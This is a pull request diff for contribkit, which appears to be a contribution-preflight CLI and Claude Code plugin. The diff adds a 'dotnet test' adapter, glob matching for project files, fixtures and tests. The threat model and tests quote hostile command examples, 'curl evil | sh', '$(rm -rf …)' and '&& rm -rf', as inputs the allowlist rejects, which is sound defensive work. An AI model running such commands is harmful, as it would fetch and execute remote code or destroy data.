Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):

`--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository.

`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository.
`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `dotnet test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository.

`CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv.

Expand All @@ -61,7 +61,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):
- Golden fixtures under `fixtures/repos/`
- Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`)
- MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt`
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`)
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `dotnet-test` (advisory `command_recorded` only unless `blockAdapters`)
- Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md)

## What is not shipped
Expand Down
8 changes: 8 additions & 0 deletions adapters/dotnet-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# dotnet-test

Activates when the target tree contains a `*.csproj`, `*.fsproj`, or `*.sln` file. Adds an
advisory `command_recorded` check for the exact argv `dotnet test`.

The adapter does not execute .NET tests by itself. Preflight executes the exact allowlisted argv
only when the caller explicitly passes `--run-tests`; arguments, shell operators, and command
substitutions are rejected.
6 changes: 6 additions & 0 deletions adapters/dotnet-test/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "dotnet-test",
"match": { "filesAny": ["*.csproj", "*.fsproj", "*.sln"] },
"testCommand": "dotnet test",
"maxDiffLines": null
}
2 changes: 2 additions & 0 deletions adapters/dotnet-test/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
id: dotnet-test
testFamily: dotnet test
6 changes: 6 additions & 0 deletions adapters/dotnet-test/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "dotnet-test",
"expectRuleId": "adapter-dotnet-test",
"expectCommand": "dotnet test",
"expectSeverity": "advisory"
}
5 changes: 3 additions & 2 deletions docs/ADAPTER_AUTHORING.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,8 @@ Create `adapters/<id>/adapter.json`:
}
```

The `id` must equal the directory name. `match.filesAny` is a non-empty list of repository paths;
The `id` must equal the directory name. `match.filesAny` is a non-empty list of repository paths or
glob patterns. Patterns without `/` match a filename at any repository depth;
`testCommand` must be one of the existing command shapes accepted by `src/allowlist.ts`. An adapter
with an unknown command is reported as `needs-human` and is never executed. `maxDiffLines` is
reserved for the contract rule that evaluates patch size; use `null` when the adapter has no limit.
Expand All @@ -38,5 +39,5 @@ PR description must state whether the adapter is advisory or listed in `blockAda
is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command
recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy.

The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have
The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, and `dotnet-test`. New adapters should have
a real repository shape to match and should not be added only to increase the adapter count.
2 changes: 1 addition & 1 deletion docs/THREAT_MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@

| ID | Threat | Control |
| --- | --- | --- |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `dotnet test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. |
| T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. |
| T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. |
| T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. |
Expand Down
1 change: 1 addition & 0 deletions fixtures/repos/dotnet-test/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Keep the PR under 20 files / 400 lines.
1 change: 1 addition & 0 deletions fixtures/repos/dotnet-test/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
5 changes: 5 additions & 0 deletions fixtures/repos/dotnet-test/Sample.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
</PropertyGroup>
</Project>
5 changes: 5 additions & 0 deletions fixtures/repos/dotnet-test/Sample.fsproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
</PropertyGroup>
</Project>
4 changes: 4 additions & 0 deletions fixtures/repos/dotnet-test/Sample.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
1 change: 1 addition & 0 deletions fixtures/repos/dotnet-test/change/src/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Console.WriteLine("fixture change");
3 changes: 3 additions & 0 deletions src/allowlist.ts
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [
["python", "-m", "pytest"],
["cargo", "test"],
["go", "test"],
["dotnet", "test"],
];

const SHELL_META = /[|;&`$<>()]/;
Expand Down Expand Up @@ -73,6 +74,7 @@ export function inferTestCommand(hints: {
mentionsPytest?: boolean;
mentionsCargo?: boolean;
mentionsGo?: boolean;
mentionsDotnet?: boolean;
}): string | undefined {
if (hints.policyCommand !== undefined) {
return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined;
Expand All @@ -85,5 +87,6 @@ export function inferTestCommand(hints: {
if (hints.mentionsPytest) return "pytest";
if (hints.mentionsCargo) return "cargo test";
if (hints.mentionsGo) return "go test";
if (hints.mentionsDotnet) return "dotnet test";
return undefined;
}
5 changes: 3 additions & 2 deletions src/compile.ts
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file
const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i;
const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i;
const ALLOWED_TEST_MENTION =
/\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test)\b/i;
/\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|dotnet test)\b/i;
const AI_REQUIRE =
/(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i;
const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i;
Expand Down Expand Up @@ -339,6 +339,7 @@ export async function compile(options: CompileOptions): Promise<ContributionCont
mentionsPytest: scripts.mentionsPytest || /\bpytest\b/i.test(contribText) || pytestHint !== undefined,
mentionsCargo: /\bcargo test\b/i.test(contribText) || cargoHint !== undefined,
mentionsGo: /\bgo test\b/i.test(contribText) || goHint !== undefined,
mentionsDotnet: /\bdotnet test\b/i.test(contribText),
});
if (unsafe !== undefined && !unsafeAllowlisted) {
compiled.push(
Expand Down Expand Up @@ -382,7 +383,7 @@ export async function compile(options: CompileOptions): Promise<ContributionCont
origin: contributing?.path ?? "tests",
check: "command_recorded",
message:
"Tests are mentioned but no allowlisted command could be inferred. Record npm test / pytest / cargo test / go test with exit 0.",
"Tests are mentioned but no allowlisted command could be inferred. Record npm test / pytest / cargo test / go test / dotnet test with exit 0.",
}),
);
}
Expand Down
12 changes: 12 additions & 0 deletions src/glob.ts
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,18 @@ export function matchGlob(pattern: string, filePath: string): boolean {
return globToRegExp(pat).test(file);
}

/** Adapter file patterns match a basename at any repository depth. */
export function matchRepoPath(pattern: string, filePath: string): boolean {
const file = posix(filePath);
let pat = pattern.replace(/\\/g, "/");
if (pat.startsWith("/")) pat = pat.slice(1);
if (!pat.includes("/")) {
const base = file.split("/").pop() ?? file;
return globToRegExp(pat).test(base);
}
return globToRegExp(pat).test(file);
}

/**
* GitHub CODEOWNERS subset: leading `/` anchors at repo root; a pattern
* without `/` matches in any directory; trailing `/` is a directory prefix.
Expand Down
48 changes: 47 additions & 1 deletion src/repo.ts
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
import { execFile as execFileCallback } from "node:child_process";
import { existsSync } from "node:fs";
import { readFile, realpath, stat } from "node:fs/promises";
import { readFile, readdir, realpath, stat } from "node:fs/promises";
import { join, resolve } from "node:path";
import { promisify } from "node:util";
import { compareTextUnit } from "./canonical.js";
import { matchRepoPath } from "./glob.js";
import type { EvaluationSnapshot, PathDiff, RecordedCommand } from "./types.js";

const execFile = promisify(execFileCallback);
Expand Down Expand Up @@ -120,12 +121,57 @@ export async function readAtRef(
}
}

async function workingTreeFiles(repoPath: string): Promise<string[]> {
const files: string[] = [];
async function visit(relative: string): Promise<void> {
const absolute = join(repoPath, relative);
let entries;
try {
entries = await readdir(absolute, { withFileTypes: true });
} catch {
return;
}
for (const entry of entries) {
if (entry.name === ".git") continue;
const child = relative.length > 0 ? `${relative}/${entry.name}` : entry.name;
if (entry.isDirectory()) {
await visit(child);
} else if (entry.isFile()) {
files.push(child);
}
}
}
await visit("");
files.sort(compareTextUnit);
return files;
}

async function repositoryFiles(repoPath: string, ref: string): Promise<string[]> {
if (!(await isGitRepo(repoPath))) return await workingTreeFiles(repoPath);
const listed = await git(repoPath, ["ls-tree", "-r", "--name-only", ref]);
if (listed.code !== 0) return [];
return listed.stdout
.split(/\r?\n/)
.map((path) => path.trim())
.filter((path) => path.length > 0)
.sort(compareTextUnit);
}

export async function firstExisting(
repoPath: string,
ref: string,
candidates: readonly string[],
): Promise<{ path: string; text: string } | undefined> {
let files: string[] | undefined;
for (const path of candidates) {
if (/[?*]/.test(path)) {
files ??= await repositoryFiles(repoPath, ref);
const matched = files.find((candidate) => matchRepoPath(path, candidate));
if (matched === undefined) continue;
const text = await readAtRef(repoPath, ref, matched);
if (text !== undefined) return { path: matched, text };
continue;
}
const text = await readAtRef(repoPath, ref, path);
if (text !== undefined) return { path, text };
}
Expand Down
54 changes: 50 additions & 4 deletions test/adapters.test.ts
Original file line number Diff line number Diff line change
@@ -1,19 +1,26 @@
import { readFileSync } from "node:fs";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
import { describe, expect, it, vi } from "vitest";
import { loadBundledAdapters } from "../src/adapters.js";
import { compile } from "../src/compile.js";
import { matchRepoPath } from "../src/glob.js";
import { preflight } from "../src/preflight.js";
import { allRules } from "../src/types.js";
import { repoRoot, stageFixture } from "./helpers.js";

describe("bundled adapters", () => {
it("loads python-pytest, node-npm-test, and go-test sorted by id", () => {
it("loads bundled adapters sorted by id", () => {
const adapters = loadBundledAdapters();
expect(adapters.map((item) => item.id)).toEqual(["go-test", "node-npm-test", "python-pytest"]);
expect(adapters.map((item) => item.id)).toEqual([
"dotnet-test",
"go-test",
"node-npm-test",
"python-pytest",
]);
});

it("matches golden.json command families", () => {
for (const id of ["go-test", "node-npm-test", "python-pytest"]) {
for (const id of ["dotnet-test", "go-test", "node-npm-test", "python-pytest"]) {
const golden = JSON.parse(
readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"),
) as { expectRuleId: string; expectCommand: string; expectSeverity: string };
Expand All @@ -31,4 +38,43 @@ describe("bundled adapters", () => {
expect(rule?.severity).toBe("advisory");
expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false);
});

it("dotnet-test matches project globs and adds an advisory exact command", async () => {
const repo = await stageFixture("dotnet-test");
const contract = await compile({ repoPath: repo });
const rule = allRules(contract).find((item) => item.id === "adapter-dotnet-test");
expect(rule?.check).toBe("command_recorded");
expect(rule?.command).toBe("dotnet test");
expect(rule?.severity).toBe("advisory");
expect(matchRepoPath("*.csproj", "src/App.csproj")).toBe(true);
expect(matchRepoPath("*.fsproj", "src/App.fsproj")).toBe(true);
expect(matchRepoPath("*.sln", "solutions/App.sln")).toBe(true);
expect(matchRepoPath("*.csproj", "src/App.fsproj")).toBe(false);
});

it("only executes dotnet test with runTests and records the exact argv", async () => {
const repo = await stageFixture("dotnet-test");
const executeCommand = vi.fn(async () => ({ exitCode: 0, stdout: "passed", stderr: "" }));
const withoutOptIn = await preflight({
repoPath: repo,
baseRef: "HEAD",
executeCommand,
});
expect(executeCommand).not.toHaveBeenCalled();
expect(withoutOptIn.snapshot.recordedCommands).toEqual([]);

const withOptIn = await preflight({
repoPath: repo,
baseRef: "HEAD",
runTests: true,
executeCommand,
});
expect(executeCommand).toHaveBeenCalledTimes(1);
expect(executeCommand).toHaveBeenCalledWith(["dotnet", "test"], repo);
expect(withOptIn.snapshot.recordedCommands[0]).toMatchObject({
command: "dotnet test",
exitCode: 0,
source: "executed",
});
});
});
3 changes: 3 additions & 0 deletions test/threat.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,9 @@ describe("threat model", () => {
expect(allowlistedArgv("echo $(whoami)")).toBeUndefined();
expect(allowlistedArgv("npm test")).toEqual(["npm", "test"]);
expect(allowlistedArgv("python -m pytest")).toEqual(["python", "-m", "pytest"]);
expect(allowlistedArgv("dotnet test")).toEqual(["dotnet", "test"]);
expect(allowlistedArgv("dotnet test --no-restore")).toBeUndefined();
expect(allowlistedArgv("dotnet test && rm -rf /tmp/fixture")).toBeUndefined();
});

it("T2: unknown contribkit.yml keys are needs-human and never execute", async () => {
Expand Down
Loading